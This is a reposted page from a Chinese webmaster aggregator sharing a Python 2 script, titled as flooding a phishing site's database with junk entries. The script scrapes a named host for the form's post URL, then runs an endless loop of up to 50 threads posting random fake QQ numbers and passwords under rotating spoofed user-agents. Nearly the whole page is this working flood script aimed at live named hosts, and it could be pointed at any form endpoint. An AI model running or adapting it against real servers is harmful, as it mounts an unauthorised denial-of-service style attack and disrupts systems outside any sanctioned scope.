加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 编程开发 > Python > 正文

向某钓鱼网站数据库注入大量垃圾信息(多线程)

发布时间:2020-12-17 17:23:14 所属栏目:Python 来源:网络整理
导读:今天PHP站长网 52php.cn把收集自互联网的代码分享给大家,仅供参考。 #!/usr/bin/env python import urllibimport urllib2import randomimport stringimport threadingimport timeimport re origin_url = "http://images.

以下代码由PHP站长网 52php.cn收集自互联网

现在PHP站长网小编把它分享给大家,仅供参考

#!/usr/bin/env python
  
import urllib
import urllib2
import random
import string
import threading
import time
import re
  
origin_url = "http://images.smoka.com.cn/pnrn.js?hs"
#post_url = "http://m.shandashi.com.cn/index.php?qNyrDU2Qf"
referer_url = ""
thread_num = 0
lock = threading.Lock()
ua_list = [
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/39.0.2171.95 Safari/537.36","Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)","Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon 2.0)","Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SE 2.X MetaSr 1.0; SE 2.X MetaSr 1.0; .NET CLR 2.0.50727; SE 2.X MetaSr 1.0)","Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:34.0) Gecko/20100101 Firefox/34.0"
]
  
def get_post_url():
    re_http = re.compile(r""(http://.+?)"")
    req = urllib2.Request(origin_url,headers=gen_headers())
    response = urllib2.urlopen(req)
    the_page = response.read()
    return re.search(re_http,the_page).group(1) + "qNyrDU2Qf"
 
def gen_password(length):
    chars=string.ascii_letters+string.digits
    return ''.join([random.choice(chars) for i in range(length)])
  
def gen_post_param():
    qq_num = random.randint(22222111,9999999999)
    qq_pass = gen_password(random.randrange(8,13))
    print "QQ_num: " + str(qq_num)
    print "QQ_pass: " + qq_pass
    return {
        "LYnj9ayHWqpdCy": None,"wobBwZXimLLqoRu": None,"x": 52,"y": 17,"OvQ3XtQjH6XMnvo2t": 1,"SeI0EHa3Owj4QmsDjW": qq_num,"ZkI69riJ4OyK9LpHKtO": qq_pass
    }
  
def gen_post_data():
    return urllib.urlencode(gen_post_param())
  
def gen_headers():
    ua = random.choice(ua_list)
    print "UA: " + ua
    return {
        "User-Agent": ua,"Referer": referer_url
    }
  
def do_request():
    global thread_num
    with lock:
        thread_num += 1
    try:
        req = urllib2.Request(post_url,gen_post_data(),gen_headers())
        response = urllib2.urlopen(req,timeout=5)
        code = response.getcode()
        print "Return Code: " + str(code) + "n"
    finally:
        with lock:
            thread_num -= 1
 
post_url = get_post_url()
print "post_url=" + post_url + "n"
threads = []
while True:
    if thread_num <= 50:
        t = threading.Thread(target=do_request)
        t.start()
    else:
       time.sleep(0.01)

以上内容由PHP站长网【52php.cn】收集整理供大家参考研究

如果以上内容对您有帮助,欢迎收藏、点赞、推荐、分享。

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读